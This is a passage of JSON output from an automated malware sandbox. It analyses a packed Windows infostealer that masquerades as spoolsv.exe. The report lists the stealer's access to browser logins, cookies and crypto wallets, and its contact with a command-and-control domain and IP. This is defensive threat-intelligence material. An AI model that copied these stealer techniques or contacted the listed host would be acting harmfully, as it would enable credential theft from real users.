Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"spoolsv.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4032)","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" has a section named \"UPX0\"\n \"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" has a section named \"UPX1\"\n \"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" has a section named \"UPX2\"\n \"spoolsv.exe\" has a section named \"UPX0\"\n \"spoolsv.exe\" has a section named \"UPX1\"\n \"spoolsv.exe\" has a section named \"UPX2\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" has section name UPX1 with entropy \"7.999948428756145\"\n \"spoolsv.exe\" has section name UPX1 with entropy \"7.999948428756145\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/23 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"spoolsv.exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 1.1.1.1\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"spoolsv.exe\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections\"- Location: [%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\spoolsv.exe]- [targetUID: 00000000-00009068]\n \"spoolsv.exe\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections\"- Location: [%LOCALAPPDATA%\\pip\\spoolsv.exe]- [targetUID: 00000000-00009068]\n \"spoolsv.exe\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections\"- Location: [%PROGRAMFILES%\\Google\\Chrome\\Application\\spoolsv.exe]- [targetUID: 00000000-00009068]","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$5f","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"UDP traffic to 1.1.1.1 on port 443\n TCP traffic to 104.16.248.249 on port 443 is sent without HTTP header\n TCP traffic to 1.1.1.1 on port 443 is sent without HTTP header\n TCP traffic to 46.173.27.15 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ow64\\wbem\\wmiprvse.exe\" (Indicator: \"wmiprvse.exe\"; in Source: \"00000000-00003452.00000000.190300.00990000.00000004.mdmp, 00000000-00003452.00000001.190332.00990000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"spoolsv.exe\" opened \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\spoolsv.exe\" with delete access\n \"spoolsv.exe\" opened \"C:\\masterkey_db\" with delete access\n \"spoolsv.exe\" opened \"C:\\Program Files\\Google\\Chrome\\Application\\spoolsv.exe\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_ndzjpz0u.qxr.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_frn5x1xu.v00.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_eipdw3og.bn4.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_i0txb3ps.gf3.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" has an entrypoint in section \"UPX1\"\n \"spoolsv.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetProcAddress\n LoadLibraryA\n VirtualProtect","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" claims program is from Thu Jan 1 00:00:00 1970\n \"spoolsv.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a fake system process","description":"Process \"spoolsv.exe\" at non-system pathway \"%LOCALAPPDATA%\\pip\\spoolsv.exe\" (UID: 00000000-00008464)\n Process \"spoolsv.exe\" at non-system pathway \"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\spoolsv.exe\" with commandline \"-\" (UID: 00000000-00003452)\n Process \"spoolsv.exe\" at non-system pathway \"%PROGRAMFILES%\\Google\\Chrome\\Application\\spoolsv.exe\" with commandline \"-\" (UID: 00000000-00000736)\n Process \"spoolsv.exe\" at non-system pathway \"%LOCALAPPDATA%\\pip\\spoolsv.exe\" (UID: 00000000-00002956)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Found a system process name at an unusual pathway","description":"Process \"spoolsv.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00008464)\n Process \"spoolsv.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00003452)\n Process \"spoolsv.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00000736)\n Process \"spoolsv.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00002956)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 74C00000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$60","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sa1atik.cn\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"spoolsv.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\bytecoin\"\n \"spoolsv.exe\" opened file \"%APPDATA%\\bytecoin\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"spoolsv.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"spoolsv.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$61","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome SxS\\User Data\\Web Data\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome SxS\\User Data\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Web Data\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Last Browser\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"spoolsv.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Web Data\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"Spawned process \"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe\" (UID: 00000000-00009068)\n Spawned process \"spoolsv.exe\" (UID: 00000000-00008464)\n Spawned process \"powershell.exe\" (UID: 00000000-00004032)\n Spawned process \"spoolsv.exe\" with commandline \"-\" (UID: 00000000-00003452)\n Spawned process \"spoolsv.exe\" with commandline \"-\" (UID: 00000000-00000736)\n Spawned process \"spoolsv.exe\" (UID: 00000000-00002956)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"incidents":[{"name":"Spyware","details_count":4,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Spawns many processes"},{"detail":"Creates a fake system process"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"PE file has a section name known to be used by a packer/protector"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"intel_graph":{"map":{"Domain:cloudflare-dns.com":{"type":"Domain","value":"cloudflare-dns.com"},"Domain:sa1atik.cn":{"type":"Domain","value":"sa1atik.cn"},"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab":{"type":"File","value":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab"},"File:7e0ba182715ef32d83fbb787a48fff9ce0d36f5093bbe090e053fbb0ea0ef572":{"type":"File","value":"7e0ba182715ef32d83fbb787a48fff9ce0d36f5093bbe090e053fbb0ea0ef572"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:a1360df25b0268909ddb1c851fbc51b9ef8c3bcdf65a735c14523d1a02fc06c7":{"type":"File","value":"a1360df25b0268909ddb1c851fbc51b9ef8c3bcdf65a735c14523d1a02fc06c7","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["Associated with known malicious activity"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:e28af91da8074a563149c8df49e1e039dbd6194b89fe10ff3efc5e38bc90b00b":{"type":"File","value":"e28af91da8074a563149c8df49e1e039dbd6194b89fe10ff3efc5e38bc90b00b"},"Ip:1.1.1.1":{"type":"Ip","value":"1.1.1.1"},"Ip:104.16.248.249":{"type":"Ip","value":"104.16.248.249"},"Ip:46.173.27.15":{"type":"Ip","value":"46.173.27.15"},"Url:/sa1at/":{"type":"Url","value":"/sa1at/"}},"chains":[{"id":"1566434497514462964","root":"File:a1360df25b0268909ddb1c851fbc51b9ef8c3bcdf65a735c14523d1a02fc06c7","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["Associated with known malicious activity"]}},{"id":"sandbox_network","root":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","edges":[{"edge_kind":"contacted_ip","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Ip:1.1.1.1"},{"edge_kind":"contacted_ip","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_ip","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Ip:46.173.27.15"},{"edge_kind":"contacted_domain","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Domain:cloudflare-dns.com"},{"edge_kind":"resolves_to","from_key":"Domain:cloudflare-dns.com","to_key":"Ip:104.16.248.249"},{"edge_kind":"contacted_domain","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Domain:sa1atik.cn"},{"edge_kind":"resolves_to","from_key":"Domain:sa1atik.cn","to_key":"Ip:46.173.27.15"},{"edge_kind":"contacted_url","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"Url:/sa1at/"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","edges":[{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:7e0ba182715ef32d83fbb787a48fff9ce0d36f5093bbe090e053fbb0ea0ef572"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:e28af91da8074a563149c8df49e1e039dbd6194b89fe10ff3efc5e38bc90b00b"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":48,"imported_dlls_count":125,"dropped_files_count":0,"extracted_files_count":7,"files_written_count":16,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["wacatac","sabsik","rat","salatstealer","criminal","informationstealer","malicious","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ae735b650eef844740b184b","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Dump:Generic.Dacic.18086","contacted_countries":["RUS","USA"],"submit_name":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe","analysis_start_time":"2026-11-01T12:51:04+00:00","indicators_count":{"informative":193,"suspicious":67,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"1.1.1.1","port":443,"protocol":"UDP","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"address":"104.16.248.249","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"address":"46.173.27.15","port":443,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"dns_resolutions":[{"domain":"cloudflare-dns.com","address":"104.16.248.249","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]},{"domain":"sa1atik.cn","address":"46.173.27.15","ttl":60,"country":"Russia","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}],"http_requests":[{"host":"sa1atik.cn","host_ip":"46.173.27.15:443","url":"/sa1at/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /sa1at/ HTTP/1.1\nHost: sa1atik.cn\nUser-Agent: Go-http-client/1.1\nContent-Length: 88\nContent-Type: application/octet-stream\nAccept-Encoding: gzip","sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ae735b650eef844740b184b"}],"processes":[{"pid":9068,"ppid":0,"name":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe","command_line":"","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","normalized_path":"C:\\4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab.exe","uid":"00000000-00009068","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="},{"pid":8464,"ppid":9068,"name":"spoolsv.exe","command_line":"","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","normalized_path":"%LOCALAPPDATA%\\pip\\spoolsv.exe","parent_uid":"00000000-00009068","uid":"00000000-00008464"},{"pid":4032,"ppid":8464,"name":"powershell.exe","command_line":"","sha256":"870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008464","uid":"00000000-00004032"},{"pid":3452,"ppid":8464,"name":"spoolsv.exe","command_line":"-","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\spoolsv.exe","parent_uid":"00000000-00008464","uid":"00000000-00003452"},{"pid":736,"ppid":8464,"name":"spoolsv.exe","command_line":"-","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\spoolsv.exe","parent_uid":"00000000-00008464","uid":"00000000-00000736"},{"pid":2956,"ppid":0,"name":"spoolsv.exe","command_line":"","sha256":"4de2ee5e21f844d41b0cdd4e2d6e869a5f3ffbbb975cad3f29b567db50f007ab","normalized_path":"%LOCALAPPDATA%\\pip\\spoolsv.exe","uid":"00000000-00002956","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["Microsoft.AppV.AppVClientPowerShell.dll","sspicli.dll","Microsoft.PowerShell.ConsoleHost.dll","wshext.dll","rpcrt4.dll","win32u.dll","bcrypt.dll","dnsapi.dll","uxtheme.dll","wbemcomn.dll","RstrtMgr.dll","user32.dll","msvcp140.dll","bcryptprimitives.dll","dhcpcsvc6.dll","wldp.dll","iertutil.dll","secur32.dll","System.Management.dll","Microsoft.BitLocker.Structures.dll","windows.storage.dll","clr.dll","normaliz.dll","sechost.dll","umpdc.dll","wmiutils.dll","srvcli.dll","vcruntime140_clr0400.dll","netutils.dll","ntdll.dll","gdi32.dll","msvcp_win.dll","cfgmgr32.dll","userenv.dll","sxs.dll","mscorlib.ni.dll","gpapi.dll","Microsoft.PowerShell.Security.dll","fastprox.dll","cryptbase.dll","ucrtbase_clr0400.dll","wintrust.dll","wbemsvc.dll","mscoree.dll","kernel32.dll","imm32.dll","SHCore.dll","System.Transactions.dll","wow64cpu.dll","advapi32.dll","shell32.dll","wmidcom.dll","taskschd.dll","Microsoft.Management.Infrastructure.Native.dll","virtdisk.dll","gdi32full.dll","kernel.appcore.dll","crypt32.dll","propsys.dll","atl.dll","Microsoft.PowerShell.Commands.Management.dll","mi.dll","System.Management.Automation.dll","wininet.dll","combase.dll","ntasn1.dll","rsaenh.dll","msisip.dll","Microsoft.AppV.AppvClientComConsumer.dll","System.ServiceProcess.dll","mscoreei.dll","clrjit.dll","System.Core.ni.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","KernelBase.dll","VxSSL32.dll","9Tgt5rMf.dll","wbemdisp.dll","System.Configuration.ni.dll","wow64win.dll","ncrypt.dll","version.dll","System.Numerics.dll","pwrshsip.dll","miutils.dll","shlwapi.dll","ws